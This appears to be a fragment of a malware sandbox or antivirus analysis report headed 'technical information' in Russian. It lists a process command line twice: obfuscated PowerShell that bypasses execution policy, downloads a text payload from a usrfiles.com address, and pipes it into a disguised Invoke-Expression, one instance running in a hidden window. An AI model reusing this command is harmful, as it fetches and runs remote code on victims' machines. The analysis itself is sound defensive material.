Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EP Byps $zWnXt = 'Iwr'; $VvWeR = 'cff66d08-d3f8-42db-911c-ce670399a441.usrfiles.com/ugd/cff66d_18181a7547224af09ee0503331621ea6.txt'; &$zWnXt -Uri $VvWeR | .('{1}{0}'-f'calc','i').replace('cal...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EP Byps $zWnXt = 'Iwr'; $VvWeR = 'cff66d08-d3f8-42db-911c-ce670399a441.usrfiles.com/ugd/cff66d_18181a7547224af09ee0503331621ea6.txt'; &$zWnXt -Uri $VvWeR | .('{1}{0}'-f'calc','i').replace('cal...